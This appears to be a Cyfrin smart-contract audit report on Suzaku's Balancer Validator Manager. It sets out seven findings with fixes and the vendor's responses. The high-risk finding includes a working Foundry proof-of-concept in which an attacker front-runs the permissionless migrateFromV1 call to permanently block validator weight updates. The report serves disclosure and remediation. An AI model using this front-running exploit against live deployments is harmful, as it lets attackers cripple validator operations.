Suzaku Balancer Validator Manager Audit Report

Prepared by Cyfrin

Version 2.0

Lead Auditors

Kage

Zark

October 24, 2025

Contents

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

5 Audit Scope

6 Executive Summary

Over the course of 5 days, the Cyfrin team conducted an audit on the Suzaku Balancer Validator Manager smart contracts provided by Suzaku. In this period, a total of 7 issues were found.

Summary

Project Name	Suzaku Balancer Validator Manager
Repository	suzaku-contracts-library
Commit	64dd0381e745...
Audit Timeline	Oct 6th - Oct 10th
Methods	Manual Review

Issues Found

Critical Risk	0
High Risk	1
Medium Risk	0
Low Risk	4
Informational	2
Gas Optimizations	0
Total Issues	7

Summary of Findings

[H-1] Missing access control in `ValidatorManager::migrateFromV1` allows front-running attack to permanently brick validator operations	Acknowledged
[L-1] Migration process allows inclusion of zero-weight and inactive validators	Resolved
[L-2] Zero-weight validators can be registered via `BalancerValidatorManager::initiateValidatorRegistration`	Resolved
[L-3] Security module removal can brick validator removal completion	Resolved
[L-4] `BalancerValidatorManager::initialize` omits `registrationInitWeight` filling for `PendingAdded` validators	Resolved
[I-1] Redundant ownership guard on `BalancerValidatorManager::migrateFromV1`	Resolved
[I-2] Missing event emission for security module weight updates	Resolved

7 Findings

7.1 High Risk

7.1.1 Missing access control in `ValidatorManager::migrateFromV1` allows front-running attack to permanently brick validator operations

Description: The `ValidatorManager::migrateFromV1` function lacks access control, allowing any attacker to front-run legitimate V1-to-V2 validator migrations with malicious `receivedNonce` values. This permanently corrupts validator state, causing irreversible denial-of-service on all weight update operations and preventing validator removal.

The `ValidatorManager::migrateFromV1` is marked as external with no access control modifier.

```
//ValidatorManager.sol
function migrateFromV1(bytes32 validationID, uint32 receivedNonce) external { //@audit no access control
    ValidatorManagerStorage storage $ = _getValidatorManagerStorage();
    ValidatorLegacy storage legacy = $._validationPeriodsLegacy[validationID];
    if (legacy.status == ValidatorStatus.Unknown) {
        revert InvalidValidationID(validationID);
    }
    if (receivedNonce > legacy.messageNonce) {
        revert InvalidNonce(receivedNonce);
>    } //@audit only checks receivedNonce > legacy message Nonce

    $._validationPeriods[validationID] = Validator({
        status: legacy.status,
        nodeID: legacy.nodeID,
        startingWeight: legacy.startingWeight,
        sentNonce: legacy.messageNonce,
        receivedNonce: receivedNonce,  // ← Attacker-controlled
        weight: legacy.weight,
        startTime: legacy.startedAt,
        endTime: legacy.endedAt
    });

    $._validationPeriodsLegacy[validationID].status = ValidatorStatus.Unknown;
}
```

There is however an `onlyOwner` modifier in the `BalancerValidatorManager`

```
//BalancerValidatorManager.sol
function migrateFromV1(bytes32 validationID, uint32 receivedNonce) external onlyOwner { //@audit owner
↪   only
    VALIDATOR_MANAGER.migrateFromV1(validationID, receivedNonce);
}
```

The check on `receivedNonce` (as highlighted above) prevents setting `receivedNonce` higher than legacy `messageNonce` but allows arbitrarily low values, including 0. This breaks the critical invariant that `receivedNonce` should be monotonically increasing and represent the actual state of P-Chain acknowledgments.

Consider a scenario where:

- System has validators in legacy storage (_validationPeriodsLegacy) that need migration to V2 (say `receivedNonce` = 10, `sentNonce` = 10)
- Legitimate owner prepares to call `BalancerValidatorManager::migrateFromV1` with correct `receivedNonce` value
- Attacker front-runs this by calling `ValidatorManager::migrateFromV1` with `receivedNonce = 0`
- After the update, `_hasPendingWeightMsg` will always be `true` because `validator.sentNonce > validator.receivedNonce` even though there are no pending acknowledgements on P-chain

- Any further calls to `initiateValidatorWeightUpdate` will always revert

Impact: If there are any pending V1 migrations, weight updates will face a permanent denial-of-service.

Proof of Concept: Add the following test to `BalancerValidatorManager.t.sol`:

```
function testExploit_FrontRunMigration_PermanentDoS() public {
 // Register a new validator through the security module
 vm.prank(testSecurityModules[0]);
 bytes32 targetValidationID = validatorManager.initiateValidatorRegistration(
     VALIDATOR_NODE_ID_01,
     VALIDATOR_01_BLS_PUBLIC_KEY,
     pChainOwner,
     pChainOwner,
     VALIDATOR_WEIGHT
 );

 // complete the registration
 vm.prank(testSecurityModules[0]);
 validatorManager.completeValidatorRegistration(
     COMPLETE_VALIDATOR_REGISTRATION_MESSAGE_INDEX
 );

 // Verify validator is active
 Validator memory validator = ValidatorManager(vmAddress).getValidator(targetValidationID);
 assertEq(
     uint8(validator.status), uint8(ValidatorStatus.Active), "Validator should be active"
 );
 assertEq(validator.sentNonce, 0, "Initial sentNonce should be 0");
 assertEq(validator.receivedNonce, 0, "Initial receivedNonce should be 0");

 // warp beyond churn period
 vm.warp(1_704_067_200 + 2 hours);

 // Update 1: Increase weight to 200,000
 vm.prank(testSecurityModules[0]);
 (uint64 nonce1,) =
     validatorManager.initiateValidatorWeightUpdate(targetValidationID, 200_000);
 assertEq(nonce1, 1, "First update should have nonce 1");

 vm.prank(testSecurityModules[0]);
 validatorManager.completeValidatorWeightUpdate(
     COMPLETE_VALIDATOR_WEIGHT_UPDATE_MESSAGE_INDEX
 );

 // Verify state after updates
 Validator memory currentValidator =
     ValidatorManager(vmAddress).getValidator(targetValidationID);

 assertEq(currentValidator.sentNonce, 1, "Should have sent 1 update");
 assertEq(currentValidator.receivedNonce, 1, "Should have received 1 acknowledgment");
 assertEq(currentValidator.weight, 200_000, "Weight should be updated");

 //// *** Setup V1 -> V2 Migration ***

 bytes32 storageSlot = 0xe92546d698950ddd38910d2e15ed1d923cd0a7b3dde9e2a6a3f380565559cb00;

 // _validationPeriodsLegacy is at offset 5
 bytes32 legacyMappingSlot = bytes32(uint256(storageSlot) + 5);
 bytes32 legacyValidatorSlot = keccak256(abi.encode(targetValidationID, legacyMappingSlot));
 vm.store(vmAddress, legacyValidatorSlot, bytes32(uint256(2)));

 // Store actual nodeID data
```

```
        bytes32 nodeIDPacked = bytes32(VALIDATOR_NODE_ID_01) | bytes32(uint256(20) << 1); // length in
        ↪  last byte (length * 2 for short bytes)
        vm.store(vmAddress, bytes32(uint256(legacyValidatorSlot) + 1), nodeIDPacked);

        // Slot 2: startingWeight
        bytes32 slot2Value = bytes32(
            (uint256(currentValidator.startTime) << 192) // startedAt first (leftmost)
                | (uint256(200_000) << 128) // weight
                | (uint256(1) << 64) // messageNonce = 1
                | uint256(currentValidator.startingWeight) // startingWeight (rightmost)
        );
        vm.store(vmAddress, bytes32(uint256(legacyValidatorSlot) + 2), slot2Value);

        // Slot 3: endedAt
        vm.store(
            vmAddress,
            bytes32(uint256(legacyValidatorSlot) + 3),
            bytes32(uint256(currentValidator.endTime))
        );

        // Legitimate owner wants to migrate with correct receivedNonce = 2
        // But attacker's transaction executes first with receivedNonce = 0

        address attacker = address(0x6666);

        vm.prank(attacker);
        ValidatorManager(vmAddress).migrateFromV1(targetValidationID, 0);

        // Verify corrupted state
        Validator memory corruptedValidator =
            ValidatorManager(vmAddress).getValidator(targetValidationID);

        assertEq(corruptedValidator.sentNonce, 1, "sentNonce should be 1 from legacy");
        assertEq(corruptedValidator.receivedNonce, 0, "receivedNonce corrupted to 0 by attacker");
        assertEq(
            uint8(corruptedValidator.status), uint8(ValidatorStatus.Active), "Should be Active"
        );

        // Legitimate owner cannot fix the migration

        // Owner tries to migrate with correct value but it's too late
        vm.prank(validatorManagerOwnerAddress);
        vm.expectRevert(); // Will revert because legacy.status was set to Unknown
        ValidatorManager(vmAddress).migrateFromV1(targetValidationID, 1);

        // IMPACT 2: Cannot initiate weight updates (Permanent DoS)

        // First, we need to assign this validator to a security module
        // In the real scenario, this would happen during normal operation
        bytes32 balancerStorageSlot =
            0x9d2d7650aa35ca910e5b713f6b3de6524a06fbcb31ffc9811340c6f331a23400;

        bytes32 validatorSecurityModuleMappingSlot = bytes32(uint256(balancerStorageSlot) + 2);
        bytes32 validatorSecurityModuleSlot =
            keccak256(abi.encode(targetValidationID, validatorSecurityModuleMappingSlot));

        vm.store(
            address(validatorManager),
            validatorSecurityModuleSlot,
            bytes32(uint256(uint160(testSecurityModules[0])))
        );

        // Try to initiate weight update from security module
```

```
        vm.prank(testSecurityModules[0]);
        vm.expectRevert(
            abi.encodeWithSelector(
                IBalancerValidatorManager.BalancerValidatorManager__PendingWeightUpdate.selector,
                targetValidationID
            )
        );
        validatorManager.initiateValidatorWeightUpdate(targetValidationID, 200_000);
    }
```

Recommended Mitigation: Do not deploy `BalancerValidatorManager` on top of a `ValidatorManager` that has validators in legacy storage. Alternatively, complete V1 migration before `BalancerValidatorManager` is deployed.

Suzaku: Acknowledged. ValidatorManager.migrateFromV1 is permissionless and can be front-run. We will mitigate operationally: complete all V1 migrations privately, verify the legacy mapping is empty, then attach BalancerValidatorManager. No migrations after Balancer attached.

Cyfrin: Acknowledged.

7.2 Low Risk

7.2.1 Migration process allows inclusion of zero-weight and inactive validators

Description: The `BalancerValidatorManager::initialize()` function's migration logic does not validate the status or weight of validators being migrated. This allows inactive validators with zero weight to be assigned to security modules during the migration process, as long as the total weight calculation remains consistent.

When a validator's removal is initiated via `initiateValidatorRemoval()`, the `ValidatorManager` sets its weight to 0 and status to `PendingRemoved`. However, the validator's ID remains valid and can be queried. During migration, the contract only checks that:

- the validation ID exists (non-zero)
- the validator hasn't been previously migrated
- the sum of weights equals the total L1 weight

Validators in states like `PendingRemoved`, `Completed` can have zero weight but still pass all validation checks if included alongside active validators whose weights sum to the total.

Impact: Security modules gain control over validators they shouldn't manage, including those pending removal or already invalidated. Another possibility is, if the P-Chain rejects a removal request and a `PendingRemoved` validator reverts to `Active` status, the security module would already own it without having explicitly registered it.

Recommended Mitigation: Consider adding explicit validation to check validator status and weight during migration.

Suzaku: Fixed in f6c3444.

Cyfrin: Verified.

7.2.2 Zero-weight validators can be registered via `BalancerValidatorManager::initiateValidatorRegistration`

Description: The `BalancerValidatorManager::initiateValidatorRegistration` function does not validate that the weight parameter is non-zero before delegating to the underlying `ValidatorManager`. Additionally, the `ValidatorManager::_initiateValidatorRegistration` function also lacks a zero-weight check, allowing validators with zero voting power to be registered in the system.

Note that the codebase already validates against zero weight in `BalancerValidatorManager::initiateValidatorWeightUpdate`, but not in `BalancerValidatorManager::initiateValidatorRegistration`:

```
//BalancerValidatorManager.sol
function initiateValidatorWeightUpdate(
    bytes32 validationID,
    uint64 newWeight
) external onlySecurityModule returns (uint64 nonce, bytes32 messageID) {
    if (newWeight == 0) {  // @audit Zero-weight check exists here but not in
    ↪  initiateValidatorRegistration
        revert BalancerValidatorManager__NewWeightIsZero();
    }
    // ...
}
```

Impact: Zero-weight validators occupy validator slots but contribute no voting power to consensus.

Recommended Mitigation: Consider validating the weight in `initiateValidatorRegistration` to match the validation pattern used in `initiateValidatorWeightUpdate`

Suzaku: Fixed in 8c3ffac.

Cyfrin: Verified.

7.2.3 Security module removal can brick validator removal completion

Description: Removing a security module via `BalancerValidatorManager::setUpSecurityModule(module, 0)` is allowed as soon as the module's tracked weight hits zero.

```
// BalancerValidatorManager::_setUpSecurityModule
if (maxWeight == 0) {
    // Forbid removal while weight > 0
    if (currentWeight != 0) {
        revert BalancerValidatorManager__CannotRemoveModuleWithWeight(securityModule);
    }
    if (!$.securityModules.remove(securityModule)) {
        revert BalancerValidatorManager__SecurityModuleNotRegistered(securityModule);
    }
}
```

If the module has only just initiated removal of its last validator, the bookkeeping still keeps `validatorSecurityModule[validatorID] = module` until `completeValidatorRemoval` runs, but it zeros out the current weight of the security module.

```
// BalancerValidatorManager::initiateValidatorRemoval()
_updateSecurityModuleWeight(
    msg.sender, $.securityModuleWeight[msg.sender] - validator.weight
);
```

Once the module is removed from `securityModules`, the `onlySecurityModule` modifier blocks that completion forever, leaving the validator stuck in `PendingRemoved` state.

```
// BalancerValidatorManager::completeValidatorRemoval
function completeValidatorRemoval(
    uint32 messageIndex
) external onlySecurityModule returns (bytes32 validationID) {
```

Impact: Validator removal completion becomes impossible and validator remains stuck in `PendingRemoved`. There is no serious state at risk, but this can cause operational issues and validator DoS if it is intended for this validator to be registered for other security module.

Proof of Concept: To understand better the issue, consider this pseudocode scenario :

```
// 1) Initiate removal; weight drops to 0 but validator mapping remains.
balancer.initiateValidatorRemoval(lastValidator);

// 2) Owner removes the module while cleanup is still pending.
balancer.setUpSecurityModule(module, 0);

// 3) Completion reverts: module is no longer recognised.
balancer.completeValidatorRemoval(msgIndex); // reverts
↪  BalancerValidatorManager__SecurityModuleNotRegistered
```

Recommended Mitigation: Before allowing `maxWeight == 0` in `setUpSecurityModule`, check that no validator IDs are still assigned to that module (including pending removals). Alternatively track a per-module reference count and require it to be zero prior to removal.

Suzaku: Fixed in c962239

Cyfrin: Verified.

7.2.4 `BalancerValidatorManager::initialize` omits `registrationInitWeight` filling for `PendingAdded` validators

Description: `BalancerValidatorManager::initialize` assigns each migrated validator to the security module and credits its weight, but it never seeds `registrationInitWeight` for validators that were already `PendingAdded`

in the underlying `ValidatorManager`. If such a pending registration later fails and `completeValidatorRemoval` runs, the guard `if (registrationWeight != 0)` evaluates false and the module's tracked weight is never released.

```
/// In initialize migration loop
$.validatorSecurityModule[validationID] = settings.initialSecurityModule;
migratedValidatorsTotalWeight += VALIDATOR_MANAGER.getValidator(validationID).weight;
/// ^ Missing: if status == PendingAdded, seed registrationInitWeight[validationID] = weight.

/// In completeValidatorRemoval, we are on Case B and only decrements module weight if seeded:
// Case A (normal removal): we already freed the weight in initiateValidatorRemoval() → nothing to do.
// Case B (expired-before-activation): no initiateValidatorRemoval() happened, so undo the init add
↪  once.
uint64 registrationWeight = $.registrationInitWeight[validationID];
if (registrationWeight != 0) {
    address securityModule = $.validatorSecurityModule[validationID];
    uint64 weight = $.securityModuleWeight[securityModule];
    uint64 updatedWeight = (weight > registrationWeight) ? (weight - registrationWeight) : 0;
    _updateSecurityModuleWeight(securityModule, updatedWeight);
    delete $.registrationInitWeight[validationID];
}
```

Impact: A security module that holds an `PendingAdded` validator can become permanently quota-locked if his registration fails. Because `_updateSecurityModuleWeight` enforces the module's max weight on every future registration, the module can no longer add or rebalance validators until the owner manually increases its limit. Except from that, the recorded weight of the security module will be **permanently** incorrect.

Proof of Concept:

1. Pre-migration: VM has `Active` `total=100` and one `PendingAdded` validator of 20 so `l1TotalWeight=120`
2. Migrate with `migratedValidators` that includes that `nodeID` and loop sets `validatorSecurityModule[...]` and adds 20 to `migratedValidatorsTotalWeight`, but does **not** set `registrationInitWeight`(!)
3. Registration of the `PendingAdded` validator fails and caller runs `completeValidatorRemoval`. BVM does not decrement module weight by 20 (guarded by `if (registrationWeight != 0) { ... }`), leaving the module stuck at 120 while the real weight is 100.

Recommended Mitigation: Detect validators whose status is `PendingAdded` and prefill `registrationInitWeight[validationID] = validator.weight` so that failed registrations unwind the module weight correctly.

```
// record init weight for pending adds so later failures decrement module weight
Validator memory v = VALIDATOR_MANAGER.getValidator(validationID);
if (v.status == ValidatorStatus.PendingAdded) {
    $.registrationInitWeight[validationID] = v.weight;
}
```

Suzaku: Fixed in f6c3444

Cyfrin: Verified.

7.3 Informational

7.3.1 Redundant ownership guard on `BalancerValidatorManager::migrateFromV1`

Description: `BalancerValidatorManager::migrateFromV1` restricts access to the owner, yet the wrapped `ValidatorManager::migrateFromV1` is intentionally permissionless. Calling through the balancer adds no real protection and may mislead readers about who must trigger the migration.

```
// BalancerValidatorManager.sol
function migrateFromV1(bytes32 validationID, uint32 receivedNonce) external onlyOwner {
    VALIDATOR_MANAGER.migrateFromV1(validationID, receivedNonce);
}

// ValidatorManager.sol
function migrateFromV1(bytes32 validationID, uint32 receivedNonce) external {
    ValidatorManagerStorage storage $ = _getValidatorManagerStorage();
    ValidatorLegacy storage legacy = $._validationPeriodsLegacy[validationID];
```

Impact: Migration still works (owner can relay through the wrapper or anyone can call the underlying manager directly), but the redundant guard can cause confusion.

Recommended Mitigation: It is recommended to align the visibility of `BalancerValidatorManager::migrateFromV1` with the visibility of `ValidatorManager::migrateFromV1` or document that anyone may still call the base validator manager directly.

Suzaku: Fixed in 442c75c.

Cyfrin: Verified.

7.3.2 Missing event emission for security module weight updates

Description: The `BalancerValidatorManager::_updateSecurityModuleWeight` function performs critical state changes that affect the core value proposition of progressive decentralization of weights, but does not emit any events.

This creates an observability gap, particularly for the expired validator registration edge case where weight rollbacks are completely invisible to external observers.

The `BalancerValidatorManager::_updateSecurityModuleWeight` internal function is called in four locations to update security module weights:

`initiateValidatorRegistration` - Increases module weight optimistically `initiateValidatorRemoval` - Decreases module weight `initiateValidatorWeightUpdate` - Adjusts module weight by delta `completeValidatorRemoval` - Rolls back weight for expired registrations

While all the above functions have their own emissions in `ValidatorManager`, the case when weight is rolled back on resgistration expiry is effectively invisible.

```
function completeValidatorRemoval(uint32 messageIndex) external onlySecurityModule returns (bytes32
↪  validationID) {
    // ...
    validationID = VALIDATOR_MANAGER.completeValidatorRemoval(messageIndex);

    // Case A: Normal removal - weight already freed in initiateValidatorRemoval()
    // Case B: Expired-before-activation - weight needs rollback
    uint64 registrationWeight = $.registrationInitWeight[validationID];
    if (registrationWeight != 0) {
        address securityModule = $.validatorSecurityModule[validationID];
        uint64 weight = $.securityModuleWeight[securityModule];
        uint64 updatedWeight = (weight > registrationWeight) ? (weight - registrationWeight) : 0;
        _updateSecurityModuleWeight(securityModule, updatedWeight); // @audit no event emission
        delete $.registrationInitWeight[validationID];
    }
    // ...
```

```
}
```

Recommended Mitigation: Consider adding a new event in `IBalancerValidatorManager.sol`.

```
/**
 * @notice Emitted when a security module's weight changes
 * @param securityModule The address of the security module
 * @param oldWeight The previous weight
 * @param newWeight The new weight
 * @param maxWeight The maximum weight allocation for this module
 */
event SecurityModuleWeightUpdated(
    address indexed securityModule,
    uint64 oldWeight,
    uint64 newWeight,
    uint64 maxWeight
);
```

Suzaku: Fixed in 442c75c

Cyfrin: Verified.